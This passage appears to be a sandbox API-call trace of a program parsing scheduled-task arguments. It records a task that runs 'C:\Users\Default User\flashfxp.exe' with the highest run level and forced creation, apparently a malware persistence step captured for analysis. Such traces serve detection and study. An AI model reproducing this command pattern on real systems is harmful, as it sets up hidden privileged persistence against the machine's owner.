[0163.894] lstrlenW (lpString="|?|") returned 3 [0163.894] lstrlenW (lpString="|tr|") returned 4 [0163.894] SetLastError (dwErrCode=0x490) [0163.894] lstrlenW (lpString="create") returned 6 [0163.894] lstrlenW (lpString="create") returned 6 [0163.894] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.895] lstrlenW (lpString="tr") returned 2 [0163.895] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.895] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|create|") returned 8 [0163.895] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|tr|") returned 4 [0163.895] lstrlenW (lpString="|create|") returned 8 [0163.895] lstrlenW (lpString="|tr|") returned 4 [0163.895] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0163.895] SetLastError (dwErrCode=0x490) [0163.895] lstrlenW (lpString="delete") returned 6 [0163.895] lstrlenW (lpString="delete") returned 6 [0163.895] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.895] lstrlenW (lpString="tr") returned 2 [0163.895] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.895] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|delete|") returned 8 [0163.895] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|tr|") returned 4 [0163.895] lstrlenW (lpString="|delete|") returned 8 [0163.895] lstrlenW (lpString="|tr|") returned 4 [0163.895] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0163.895] SetLastError (dwErrCode=0x490) [0163.895] lstrlenW (lpString="query") returned 5 [0163.895] lstrlenW (lpString="query") returned 5 [0163.895] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.895] lstrlenW (lpString="tr") returned 2 [0163.895] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.895] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x8, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|query|") returned 7 [0163.895] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|tr|") returned 4 [0163.895] lstrlenW (lpString="|query|") returned 7 [0163.895] lstrlenW (lpString="|tr|") returned 4 [0163.896] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0163.896] SetLastError (dwErrCode=0x490) [0163.896] lstrlenW (lpString="change") returned 6 [0163.896] lstrlenW (lpString="change") returned 6 [0163.896] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.896] lstrlenW (lpString="tr") returned 2 [0163.896] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.896] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|change|") returned 8 [0163.896] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|tr|") returned 4 [0163.896] lstrlenW (lpString="|change|") returned 8 [0163.896] lstrlenW (lpString="|tr|") returned 4 [0163.896] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0163.896] SetLastError (dwErrCode=0x490) [0163.896] lstrlenW (lpString="run") returned 3 [0163.896] lstrlenW (lpString="run") returned 3 [0163.896] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.896] lstrlenW (lpString="tr") returned 2 [0163.896] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.896] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|run|") returned 5 [0163.896] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|tr|") returned 4 [0163.896] lstrlenW (lpString="|run|") returned 5 [0163.896] lstrlenW (lpString="|tr|") returned 4 [0163.896] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0163.896] SetLastError (dwErrCode=0x490) [0163.896] lstrlenW (lpString="end") returned 3 [0163.896] lstrlenW (lpString="end") returned 3 [0163.896] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.897] lstrlenW (lpString="tr") returned 2 [0163.897] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.897] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|end|") returned 5 [0163.897] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|tr|") returned 4 [0163.897] lstrlenW (lpString="|end|") returned 5 [0163.897] lstrlenW (lpString="|tr|") returned 4 [0163.897] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0163.897] SetLastError (dwErrCode=0x490) [0163.897] lstrlenW (lpString="showsid") returned 7 [0163.897] lstrlenW (lpString="showsid") returned 7 [0163.897] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.897] lstrlenW (lpString="tr") returned 2 [0163.897] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.897] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0xa, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|showsid|") returned 9 [0163.897] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|tr|") returned 4 [0163.897] lstrlenW (lpString="|showsid|") returned 9 [0163.897] lstrlenW (lpString="|tr|") returned 4 [0163.897] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0163.897] SetLastError (dwErrCode=0x490) [0163.897] SetLastError (dwErrCode=0x490) [0163.897] SetLastError (dwErrCode=0x0) [0163.897] lstrlenW (lpString="/tr") returned 3 [0163.897] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0163.897] SetLastError (dwErrCode=0x490) [0163.897] SetLastError (dwErrCode=0x0) [0163.897] lstrlenW (lpString="/tr") returned 3 [0163.897] GetProcessHeap () returned 0x310000 [0163.897] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x8) returned 0x32dcb0 [0163.897] GetProcessHeap () returned 0x310000 [0163.898] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32cc90 [0163.898] SetLastError (dwErrCode=0x0) [0163.898] SetLastError (dwErrCode=0x0) [0163.898] lstrlenW (lpString="'C:\\Users\\Default User\\flashfxp.exe'") returned 36 [0163.898] lstrlenW (lpString="-/") returned 2 [0163.898] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0163.898] SetLastError (dwErrCode=0x490) [0163.898] SetLastError (dwErrCode=0x490) [0163.898] SetLastError (dwErrCode=0x0) [0163.898] lstrlenW (lpString="'C:\\Users\\Default User\\flashfxp.exe'") returned 36 [0163.898] StrChrIW (lpStart="'C:\\Users\\Default User\\flashfxp.exe'", wMatch=0x3a) returned=":\\Users\\Default User\\flashfxp.exe'" [0163.898] lstrlenW (lpString="'C:\\Users\\Default User\\flashfxp.exe'") returned 36 [0163.898] GetProcessHeap () returned 0x310000 [0163.898] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x18) returned 0x32d500 [0163.898] _memicmp (_Buf1=0x32d500, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.898] GetProcessHeap () returned 0x310000 [0163.898] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0xe) returned 0x32d520 [0163.898] GetProcessHeap () returned 0x310000 [0163.898] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x18) returned 0x32d540 [0163.898] _memicmp (_Buf1=0x32d540, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.898] GetProcessHeap () returned 0x310000 [0163.898] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x4c) returned 0x32dcd0 [0163.898] SetLastError (dwErrCode=0x7a) [0163.898] SetLastError (dwErrCode=0x0) [0163.898] SetLastError (dwErrCode=0x0) [0163.898] lstrlenW (lpString="'C") returned 2 [0163.898] lstrlenW (lpString="-/") returned 2 [0163.898] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0163.898] SetLastError (dwErrCode=0x490) [0163.899] SetLastError (dwErrCode=0x490) [0163.899] SetLastError (dwErrCode=0x0) [0163.899] lstrlenW (lpString="'C:\\Users\\Default User\\flashfxp.exe'") returned 36 [0163.899] GetProcessHeap () returned 0x310000 [0163.899] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x4a) returned 0x32dd30 [0163.899] GetProcessHeap () returned 0x310000 [0163.899] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32ccc0 [0163.899] SetLastError (dwErrCode=0x0) [0163.899] SetLastError (dwErrCode=0x0) [0163.899] lstrlenW (lpString="/rl") returned 3 [0163.899] lstrlenW (lpString="-/") returned 2 [0163.899] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0163.899] lstrlenW (lpString="?") returned 1 [0163.899] lstrlenW (lpString="?") returned 1 [0163.899] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.899] lstrlenW (lpString="rl") returned 2 [0163.899] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.899] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|?|") returned 3 [0163.899] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|rl|") returned 4 [0163.899] lstrlenW (lpString="|?|") returned 3 [0163.899] lstrlenW (lpString="|rl|") returned 4 [0163.899] SetLastError (dwErrCode=0x490) [0163.899] lstrlenW (lpString="create") returned 6 [0163.899] lstrlenW (lpString="create") returned 6 [0163.899] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.899] lstrlenW (lpString="rl") returned 2 [0163.899] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.899] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|create|") returned 8 [0163.899] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|rl|") returned 4 [0163.899] lstrlenW (lpString="|create|") returned 8 [0163.900] lstrlenW (lpString="|rl|") returned 4 [0163.900] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0163.900] SetLastError (dwErrCode=0x490) [0163.900] lstrlenW (lpString="delete") returned 6 [0163.900] lstrlenW (lpString="delete") returned 6 [0163.900] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.900] lstrlenW (lpString="rl") returned 2 [0163.900] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.900] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|delete|") returned 8 [0163.900] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|rl|") returned 4 [0163.900] lstrlenW (lpString="|delete|") returned 8 [0163.900] lstrlenW (lpString="|rl|") returned 4 [0163.900] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0163.900] SetLastError (dwErrCode=0x490) [0163.900] lstrlenW (lpString="query") returned 5 [0163.900] lstrlenW (lpString="query") returned 5 [0163.900] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.900] lstrlenW (lpString="rl") returned 2 [0163.900] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.900] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x8, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|query|") returned 7 [0163.900] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|rl|") returned 4 [0163.900] lstrlenW (lpString="|query|") returned 7 [0163.900] lstrlenW (lpString="|rl|") returned 4 [0163.900] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0163.900] SetLastError (dwErrCode=0x490) [0163.900] lstrlenW (lpString="change") returned 6 [0163.900] lstrlenW (lpString="change") returned 6 [0163.901] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.901] lstrlenW (lpString="rl") returned 2 [0163.901] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.901] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|change|") returned 8 [0163.901] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|rl|") returned 4 [0163.901] lstrlenW (lpString="|change|") returned 8 [0163.901] lstrlenW (lpString="|rl|") returned 4 [0163.901] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0163.901] SetLastError (dwErrCode=0x490) [0163.901] lstrlenW (lpString="run") returned 3 [0163.901] lstrlenW (lpString="run") returned 3 [0163.901] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.901] lstrlenW (lpString="rl") returned 2 [0163.901] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.901] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|run|") returned 5 [0163.901] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|rl|") returned 4 [0163.901] lstrlenW (lpString="|run|") returned 5 [0163.901] lstrlenW (lpString="|rl|") returned 4 [0163.901] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0163.901] SetLastError (dwErrCode=0x490) [0163.901] lstrlenW (lpString="end") returned 3 [0163.907] lstrlenW (lpString="end") returned 3 [0163.907] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.907] lstrlenW (lpString="rl") returned 2 [0163.907] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.907] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|end|") returned 5 [0163.907] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|rl|") returned 4 [0163.907] lstrlenW (lpString="|end|") returned 5 [0163.907] lstrlenW (lpString="|rl|") returned 4 [0163.907] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0163.907] SetLastError (dwErrCode=0x490) [0163.907] lstrlenW (lpString="showsid") returned 7 [0163.907] lstrlenW (lpString="showsid") returned 7 [0163.907] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.907] lstrlenW (lpString="rl") returned 2 [0163.907] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.907] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0xa, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|showsid|") returned 9 [0163.907] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|rl|") returned 4 [0163.907] lstrlenW (lpString="|showsid|") returned 9 [0163.907] lstrlenW (lpString="|rl|") returned 4 [0163.907] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0163.907] SetLastError (dwErrCode=0x490) [0163.907] SetLastError (dwErrCode=0x490) [0163.907] SetLastError (dwErrCode=0x0) [0163.907] lstrlenW (lpString="/rl") returned 3 [0163.907] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0163.907] SetLastError (dwErrCode=0x490) [0163.907] SetLastError (dwErrCode=0x0) [0163.908] lstrlenW (lpString="/rl") returned 3 [0163.908] GetProcessHeap () returned 0x310000 [0163.908] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x8) returned 0x32dd90 [0163.908] GetProcessHeap () returned 0x310000 [0163.908] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32ccf0 [0163.908] SetLastError (dwErrCode=0x0) [0163.908] SetLastError (dwErrCode=0x0) [0163.908] lstrlenW (lpString="HIGHEST") returned 7 [0163.908] lstrlenW (lpString="-/") returned 2 [0163.908] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0163.908] SetLastError (dwErrCode=0x490) [0163.908] SetLastError (dwErrCode=0x490) [0163.908] SetLastError (dwErrCode=0x0) [0163.908] lstrlenW (lpString="HIGHEST") returned 7 [0163.908] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0163.908] SetLastError (dwErrCode=0x490) [0163.908] SetLastError (dwErrCode=0x0) [0163.908] lstrlenW (lpString="HIGHEST") returned 7 [0163.908] GetProcessHeap () returned 0x310000 [0163.908] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x10) returned 0x32d560 [0163.908] GetProcessHeap () returned 0x310000 [0163.908] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32cd20 [0163.908] SetLastError (dwErrCode=0x0) [0163.908] SetLastError (dwErrCode=0x0) [0163.908] lstrlenW (lpString="/f") returned 2 [0163.908] lstrlenW (lpString="-/") returned 2 [0163.908] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0163.908] lstrlenW (lpString="?") returned 1 [0163.908] lstrlenW (lpString="?") returned 1 [0163.908] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.909] lstrlenW (lpString="f") returned 1 [0163.909] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.909] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|?|") returned 3 [0163.909] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|f|") returned 3 [0163.909] lstrlenW (lpString="|?|") returned 3 [0163.909] lstrlenW (lpString="|f|") returned 3 [0163.909] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0163.909] SetLastError (dwErrCode=0x490) [0163.909] lstrlenW (lpString="create") returned 6 [0163.909] lstrlenW (lpString="create") returned 6 [0163.909] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.909] lstrlenW (lpString="f") returned 1 [0163.909] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.909] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|create|") returned 8 [0163.909] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|f|") returned 3 [0163.909] lstrlenW (lpString="|create|") returned 8 [0163.909] lstrlenW (lpString="|f|") returned 3 [0163.909] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0163.909] SetLastError (dwErrCode=0x490) [0163.909] lstrlenW (lpString="delete") returned 6 [0163.909] lstrlenW (lpString="delete") returned 6 [0163.909] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.909] lstrlenW (lpString="f") returned 1 [0163.909] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.909] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|delete|") returned 8 [0163.909] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|f|") returned 3 [0163.910] lstrlenW (lpString="|delete|") returned 8 [0163.910] lstrlenW (lpString="|f|") returned 3 [0163.910] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0163.910] SetLastError (dwErrCode=0x490) [0163.910] lstrlenW (lpString="query") returned 5 [0163.910] lstrlenW (lpString="query") returned 5 [0163.910] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.910] lstrlenW (lpString="f") returned 1 [0163.910] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.910] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x8, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|query|") returned 7 [0163.910] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|f|") returned 3 [0163.910] lstrlenW (lpString="|query|") returned 7 [0163.910] lstrlenW (lpString="|f|") returned 3 [0163.910] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0163.910] SetLastError (dwErrCode=0x490) [0163.910] lstrlenW (lpString="change") returned 6 [0163.910] lstrlenW (lpString="change") returned 6 [0163.910] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.910] lstrlenW (lpString="f") returned 1 [0163.910] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.910] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|change|") returned 8 [0163.910] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|f|") returned 3 [0163.910] lstrlenW (lpString="|change|") returned 8 [0163.910] lstrlenW (lpString="|f|") returned 3 [0163.910] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0163.910] SetLastError (dwErrCode=0x490) [0163.911] lstrlenW (lpString="run") returned 3 [0163.911] lstrlenW (lpString="run") returned 3 [0163.911] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.911] lstrlenW (lpString="f") returned 1 [0163.911] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.911] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|run|") returned 5 [0163.911] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|f|") returned 3 [0163.911] lstrlenW (lpString="|run|") returned 5 [0163.911] lstrlenW (lpString="|f|") returned 3 [0163.911] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0163.911] SetLastError (dwErrCode=0x490) [0163.911] lstrlenW (lpString="end") returned 3 [0163.911] lstrlenW (lpString="end") returned 3 [0163.911] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.911] lstrlenW (lpString="f") returned 1 [0163.911] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.911] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|end|") returned 5 [0163.911] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|f|") returned 3 [0163.911] lstrlenW (lpString="|end|") returned 5 [0163.911] lstrlenW (lpString="|f|") returned 3 [0163.911] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0163.911] SetLastError (dwErrCode=0x490) [0163.911] lstrlenW (lpString="showsid") returned 7 [0163.911] lstrlenW (lpString="showsid") returned 7 [0163.911] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.911] lstrlenW (lpString="f") returned 1 [0163.912] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.912] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0xa, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|showsid|") returned 9 [0163.912] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|f|") returned 3 [0163.912] lstrlenW (lpString="|showsid|") returned 9 [0163.912] lstrlenW (lpString="|f|") returned 3 [0163.912] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0163.912] SetLastError (dwErrCode=0x490) [0163.912] SetLastError (dwErrCode=0x490) [0163.912] SetLastError (dwErrCode=0x0) [0163.912] lstrlenW (lpString="/f") returned 2 [0163.912] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0163.912] SetLastError (dwErrCode=0x490) [0163.912] SetLastError (dwErrCode=0x0) [0163.912] lstrlenW (lpString="/f") returned 2 [0163.912] GetProcessHeap () returned 0x310000 [0163.912] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x6) returned 0x32ddb0 [0163.912] GetProcessHeap () returned 0x310000 [0163.912] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32cd50 [0163.912] SetLastError (dwErrCode=0x0) [0163.912] GetProcessHeap () returned 0x310000 [0163.912] GetProcessHeap () returned 0x310000 [0163.912] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32c1c0) returned 1 [0163.912] GetProcessHeap () returned 0x310000 [0163.912] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32c1c0) returned 0x8 [0163.912] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32c1c0 | out: hHeap=0x310000) returned 1 [0163.912] GetProcessHeap () returned 0x310000 [0163.912] GetProcessHeap () returned 0x310000 [0163.912] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32cbd0) returned 1 [0163.912] GetProcessHeap () returned 0x310000 [0163.912] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32cbd0) returned 0x20 [0163.913] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32cbd0 | out: hHeap=0x310000) returned 1 [0163.913] GetProcessHeap () returned 0x310000 [0163.913] GetProcessHeap () returned 0x310000 [0163.913] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32d4c0) returned 1 [0163.913] GetProcessHeap () returned 0x310000 [0163.913] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32d4c0) returned 0x12 [0163.913] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32d4c0 | out: hHeap=0x310000) returned 1 [0163.913] GetProcessHeap () returned 0x310000 [0163.913] GetProcessHeap () returned 0x310000 [0163.913] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32cc00) returned 1 [0163.913] GetProcessHeap () returned 0x310000 [0163.913] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32cc00) returned 0x20 [0163.914] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32cc00 | out: hHeap=0x310000) returned 1 [0163.914] GetProcessHeap () returned 0x310000 [0163.914] GetProcessHeap () returned 0x310000 [0163.914] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32dc90) returned 1 [0163.914] GetProcessHeap () returned 0x310000 [0163.914] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32dc90) returned 0x8 [0163.914] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32dc90 | out: hHeap=0x310000) returned 1 [0163.914] GetProcessHeap () returned 0x310000 [0163.914] GetProcessHeap () returned 0x310000 [0163.914] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32cc30) returned 1 [0163.914] GetProcessHeap () returned 0x310000 [0163.914] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32cc30) returned 0x20 [0163.915] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32cc30 | out: hHeap=0x310000) returned 1 [0163.915] GetProcessHeap () returned 0x310000 [0163.915] GetProcessHeap () returned 0x310000 